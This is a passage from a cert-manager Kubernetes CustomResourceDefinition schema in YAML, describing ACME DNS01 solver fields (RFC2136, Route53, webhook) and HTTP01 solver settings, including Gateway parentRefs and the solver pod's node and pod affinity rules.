                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                required:
                                - tokenSecretRef
                                type: object
                              rfc2136:
                                description: |-
                                  Use RFC2136 ("Dynamic Updates in the Domain Name System") (https://datatracker.ietf.org/doc/rfc2136/)
                                  to manage DNS01 challenge records.
                                properties:
                                  nameserver:
                                    description: |-
                                      The IP address or hostname of an authoritative DNS server supporting
                                      RFC2136 in the form host:port. If the host is an IPv6 address it must be
                                      enclosed in square brackets (e.g [2001:db8::1]) ; port is optional.
                                      This field is required.
                                    type: string
                                  tsigAlgorithm:
                                    description: |-
                                      The TSIG Algorithm configured in the DNS supporting RFC2136. Used only
                                      when ``tsigSecretSecretRef`` and ``tsigKeyName`` are defined.
                                      Supported values are (case-insensitive): ``HMACMD5`` (default),
                                      ``HMACSHA1``, ``HMACSHA256`` or ``HMACSHA512``.
                                    type: string
                                  tsigKeyName:
                                    description: |-
                                      The TSIG Key name configured in the DNS.
                                      If ``tsigSecretSecretRef`` is defined, this field is required.
                                    type: string
                                  tsigSecretSecretRef:
                                    description: |-
                                      The name of the secret containing the TSIG value.
                                      If ``tsigKeyName`` is defined, this field is required.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                required:
                                - nameserver
                                type: object
                              route53:
                                description: Use the AWS Route53 API to manage DNS01
                                  challenge records.
                                properties:
                                  accessKeyID:
                                    description: |-
                                      The AccessKeyID is used for authentication.
                                      Cannot be set when SecretAccessKeyID is set.
                                      If neither the Access Key nor Key ID are set, we fall-back to using env
                                      vars, shared credentials file or AWS Instance metadata,
                                      see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                                    type: string
                                  accessKeyIDSecretRef:
                                    description: |-
                                      The SecretAccessKey is used for authentication. If set, pull the AWS
                                      access key ID from a key within a Kubernetes Secret.
                                      Cannot be set when AccessKeyID is set.
                                      If neither the Access Key nor Key ID are set, we fall-back to using env
                                      vars, shared credentials file or AWS Instance metadata,
                                      see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  auth:
                                    description: Auth configures how cert-manager
                                      authenticates.
                                    properties:
                                      kubernetes:
                                        description: |-
                                          Kubernetes authenticates with Route53 using AssumeRoleWithWebIdentity
                                          by passing a bound ServiceAccount token.
                                        properties:
                                          serviceAccountRef:
                                            description: |-
                                              A reference to a service account that will be used to request a bound
                                              token (also known as "projected token"). To use this field, you must
                                              configure an RBAC rule to let cert-manager request a token.
                                            properties:
                                              audiences:
                                                description: |-
                                                  TokenAudiences is an optional list of audiences to include in the
                                                  token passed to AWS. The default token consisting of the issuer's namespace
                                                  and name is always included.
                                                  If unset the audience defaults to `sts.amazonaws.com`.
                                                items:
                                                  type: string
                                                type: array
                                              name:
                                                description: Name of the ServiceAccount
                                                  used to request a token.
                                                type: string
                                            required:
                                            - name
                                            type: object
                                        required:
                                        - serviceAccountRef
                                        type: object
                                    required:
                                    - kubernetes
                                    type: object
                                  hostedZoneID:
                                    description: If set, the provider will manage
                                      only this zone in Route53 and will not do a
                                      lookup using the route53:ListHostedZonesByName
                                      api call.
                                    type: string
                                  region:
                                    description: |-
                                      Override the AWS region.

                                      Route53 is a global service and does not have regional endpoints but the
                                      region specified here (or via environment variables) is used as a hint to
                                      help compute the correct AWS credential scope and partition when it
                                      connects to Route53. See:
                                      - [Amazon Route 53 endpoints and quotas](https://docs.aws.amazon.com/general/latest/gr/r53.html)
                                      - [Global services](https://docs.aws.amazon.com/whitepapers/latest/aws-fault-isolation-boundaries/global-services.html)

                                      If you omit this region field, cert-manager will use the region from
                                      AWS_REGION and AWS_DEFAULT_REGION environment variables, if they are set
                                      in the cert-manager controller Pod.

                                      The `region` field is not needed if you use [IAM Roles for Service Accounts (IRSA)](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html).
                                      Instead an AWS_REGION environment variable is added to the cert-manager controller Pod by:
                                      [Amazon EKS Pod Identity Webhook](https://github.com/aws/amazon-eks-pod-identity-webhook).
                                      In this case this `region` field value is ignored.

                                      The `region` field is not needed if you use [EKS Pod Identities](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html).
                                      Instead an AWS_REGION environment variable is added to the cert-manager controller Pod by:
                                      [Amazon EKS Pod Identity Agent](https://github.com/aws/eks-pod-identity-agent),
                                      In this case this `region` field value is ignored.
                                    type: string
                                  role:
                                    description: |-
                                      Role is a Role ARN which the Route53 provider will assume using either the explicit credentials AccessKeyID/SecretAccessKey
                                      or the inferred credentials from environment variables, shared credentials file or AWS Instance metadata
                                    type: string
                                  secretAccessKeySecretRef:
                                    description: |-
                                      The SecretAccessKey is used for authentication.
                                      If neither the Access Key nor Key ID are set, we fall-back to using env
                                      vars, shared credentials file or AWS Instance metadata,
                                      see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                type: object
                              webhook:
                                description: |-
                                  Configure an external webhook based DNS01 challenge solver to manage
                                  DNS01 challenge records.
                                properties:
                                  config:
                                    description: |-
                                      Additional configuration that should be passed to the webhook apiserver
                                      when challenges are processed.
                                      This can contain arbitrary JSON data.
                                      Secret values should not be specified in this stanza.
                                      If secret values are needed (e.g., credentials for a DNS service), you
                                      should use a SecretKeySelector to reference a Secret resource.
                                      For details on the schema of this field, consult the webhook provider
                                      implementation's documentation.
                                    x-kubernetes-preserve-unknown-fields: true
                                  groupName:
                                    description: |-
                                      The API group name that should be used when POSTing ChallengePayload
                                      resources to the webhook apiserver.
                                      This should be the same as the GroupName specified in the webhook
                                      provider implementation.
                                    type: string
                                  solverName:
                                    description: |-
                                      The name of the solver to use, as defined in the webhook provider
                                      implementation.
                                      This will typically be the name of the provider, e.g., 'cloudflare'.
                                    type: string
                                required:
                                - groupName
                                - solverName
                                type: object
                            type: object
                          http01:
                            description: |-
                              Configures cert-manager to attempt to complete authorizations by
                              performing the HTTP01 challenge flow.
                              It is not possible to obtain certificates for wildcard domain names
                              (e.g., `*.example.com`) using the HTTP01 challenge mechanism.
                            properties:
                              gatewayHTTPRoute:
                                description: |-
                                  The Gateway API is a sig-network community API that models service networking
                                  in Kubernetes (https://gateway-api.sigs.k8s.io/). The Gateway solver will
                                  create HTTPRoutes with the specified labels in the same namespace as the challenge.
                                  This solver is experimental, and fields / behaviour may change in the future.
                                properties:
                                  labels:
                                    additionalProperties:
                                      type: string
                                    description: |-
                                      Custom labels that will be applied to HTTPRoutes created by cert-manager
                                      while solving HTTP-01 challenges.
                                    type: object
                                  parentRefs:
                                    description: |-
                                      When solving an HTTP-01 challenge, cert-manager creates an HTTPRoute.
                                      cert-manager needs to know which parentRefs should be used when creating
                                      the HTTPRoute. Usually, the parentRef references a Gateway. See:
                                      https://gateway-api.sigs.k8s.io/api-types/httproute/#attaching-to-gateways
                                    items:
                                      description: |-
                                        ParentReference identifies an API object (usually a Gateway) that can be considered
                                        a parent of this resource (usually a route). There are two kinds of parent resources
                                        with "Core" support:

                                        * Gateway (Gateway conformance profile)
                                        * Service (Mesh conformance profile, ClusterIP Services only)

                                        This API may be extended in the future to support additional kinds of parent
                                        resources.

                                        The API object must be valid in the cluster; the Group and Kind must
                                        be registered in the cluster for this reference to be valid.
                                      properties:
                                        group:
                                          default: gateway.networking.k8s.io
                                          description: |-
                                            Group is the group of the referent.
                                            When unspecified, "gateway.networking.k8s.io" is inferred.
                                            To set the core API group (such as for a "Service" kind referent),
                                            Group must be explicitly set to "" (empty string).

                                            Support: Core
                                          maxLength: 253
                                          pattern: ^$|^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                                          type: string
                                        kind:
                                          default: Gateway
                                          description: |-
                                            Kind is kind of the referent.

                                            There are two kinds of parent resources with "Core" support:

                                            * Gateway (Gateway conformance profile)
                                            * Service (Mesh conformance profile, ClusterIP Services only)

                                            Support for other resources is Implementation-Specific.
                                          maxLength: 63
                                          minLength: 1
                                          pattern: ^[a-zA-Z]([-a-zA-Z0-9]*[a-zA-Z0-9])?$
                                          type: string
                                        name:
                                          description: |-
                                            Name is the name of the referent.

                                            Support: Core
                                          maxLength: 253
                                          minLength: 1
                                          type: string
                                        namespace:
                                          description: |-
                                            Namespace is the namespace of the referent. When unspecified, this refers
                                            to the local namespace of the Route.

                                            Note that there are specific rules for ParentRefs which cross namespace
                                            boundaries. Cross-namespace references are only valid if they are explicitly
                                            allowed by something in the namespace they are referring to. For example:
                                            Gateway has the AllowedRoutes field, and ReferenceGrant provides a
                                            generic way to enable any other kind of cross-namespace reference.

                                            <gateway:experimental:description>
                                            ParentRefs from a Route to a Service in the same namespace are "producer"
                                            routes, which apply default routing rules to inbound connections from
                                            any namespace to the Service.

                                            ParentRefs from a Route to a Service in a different namespace are
                                            "consumer" routes, and these routing rules are only applied to outbound
                                            connections originating from the same namespace as the Route, for which
                                            the intended destination of the connections are a Service targeted as a
                                            ParentRef of the Route.
                                            </gateway:experimental:description>

                                            Support: Core
                                          maxLength: 63
                                          minLength: 1
                                          pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
                                          type: string
                                        port:
                                          description: |-
                                            Port is the network port this Route targets. It can be interpreted
                                            differently based on the type of parent resource.

                                            When the parent resource is a Gateway, this targets all listeners
                                            listening on the specified port that also support this kind of Route(and
                                            select this Route). It's not recommended to set `Port` unless the
                                            networking behaviors specified in a Route must apply to a specific port
                                            as opposed to a listener(s) whose port(s) may be changed. When both Port
                                            and SectionName are specified, the name and port of the selected listener
                                            must match both specified values.

                                            <gateway:experimental:description>
                                            When the parent resource is a Service, this targets a specific port in the
                                            Service spec. When both Port (experimental) and SectionName are specified,
                                            the name and port of the selected port must match both specified values.
                                            </gateway:experimental:description>

                                            Implementations MAY choose to support other parent resources.
                                            Implementations supporting other types of parent resources MUST clearly
                                            document how/if Port is interpreted.

                                            For the purpose of status, an attachment is considered successful as
                                            long as the parent resource accepts it partially. For example, Gateway
                                            listeners can restrict which Routes can attach to them by Route kind,
                                            namespace, or hostname. If 1 of 2 Gateway listeners accept attachment
                                            from the referencing Route, the Route MUST be considered successfully
                                            attached. If no Gateway listeners accept attachment from this Route,
                                            the Route MUST be considered detached from the Gateway.

                                            Support: Extended
                                          format: int32
                                          maximum: 65535
                                          minimum: 1
                                          type: integer
                                        sectionName:
                                          description: |-
                                            SectionName is the name of a section within the target resource. In the
                                            following resources, SectionName is interpreted as the following:

                                            * Gateway: Listener name. When both Port (experimental) and SectionName
                                            are specified, the name and port of the selected listener must match
                                            both specified values.
                                            * Service: Port name. When both Port (experimental) and SectionName
                                            are specified, the name and port of the selected listener must match
                                            both specified values.

                                            Implementations MAY choose to support attaching Routes to other resources.
                                            If that is the case, they MUST clearly document how SectionName is
                                            interpreted.

                                            When unspecified (empty string), this will reference the entire resource.
                                            For the purpose of status, an attachment is considered successful if at
                                            least one section in the parent resource accepts it. For example, Gateway
                                            listeners can restrict which Routes can attach to them by Route kind,
                                            namespace, or hostname. If 1 of 2 Gateway listeners accept attachment from
                                            the referencing Route, the Route MUST be considered successfully
                                            attached. If no Gateway listeners accept attachment from this Route, the
                                            Route MUST be considered detached from the Gateway.

                                            Support: Core
                                          maxLength: 253
                                          minLength: 1
                                          pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                                          type: string
                                      required:
                                      - name
                                      type: object
                                    type: array
                                  podTemplate:
                                    description: |-
                                      Optional pod template used to configure the ACME challenge solver pods
                                      used for HTTP01 challenges.
                                    properties:
                                      metadata:
                                        description: |-
                                          ObjectMeta overrides for the pod used to solve HTTP01 challenges.
                                          Only the 'labels' and 'annotations' fields may be set.
                                          If labels or annotations overlap with in-built values, the values here
                                          will override the in-built values.
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            description: Annotations that should be
                                              added to the created ACME HTTP01 solver
                                              pods.
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            description: Labels that should be added
                                              to the created ACME HTTP01 solver pods.
                                            type: object
                                        type: object
                                      spec:
                                        description: |-
                                          PodSpec defines overrides for the HTTP01 challenge solver pod.
                                          Check ACMEChallengeSolverHTTP01IngressPodSpec to find out currently supported fields.
                                          All other fields will be ignored.
                                        properties:
                                          affinity:
                                            description: If specified, the pod's scheduling
                                              constraints
                                            properties:
                                              nodeAffinity:
                                                description: Describes node affinity
                                                  scheduling rules for the pod.
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: |-
                                                        An empty preferred scheduling term matches all objects with implicit weight 0
                                                        (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                      properties:
                                                        preference:
                                                          description: A node selector
                                                            term, associated with
                                                            the corresponding weight.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        weight:
                                                          description: Weight associated
                                                            with matching the corresponding
                                                            nodeSelectorTerm, in the
                                                            range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - preference
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to an update), the system
                                                      may or may not try to eventually evict the pod from its node.
                                                    properties:
                                                      nodeSelectorTerms:
                                                        description: Required. A list
                                                          of node selector terms.
                                                          The terms are ORed.
                                                        items:
                                                          description: |-
                                                            A null or empty node selector term matches no objects. The requirements of
                                                            them are ANDed.
                                                            The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    required:
                                                    - nodeSelectorTerms
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                type: object
                                              podAffinity:
                                                description: Describes pod affinity
                                                  scheduling rules (e.g. co-locate
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
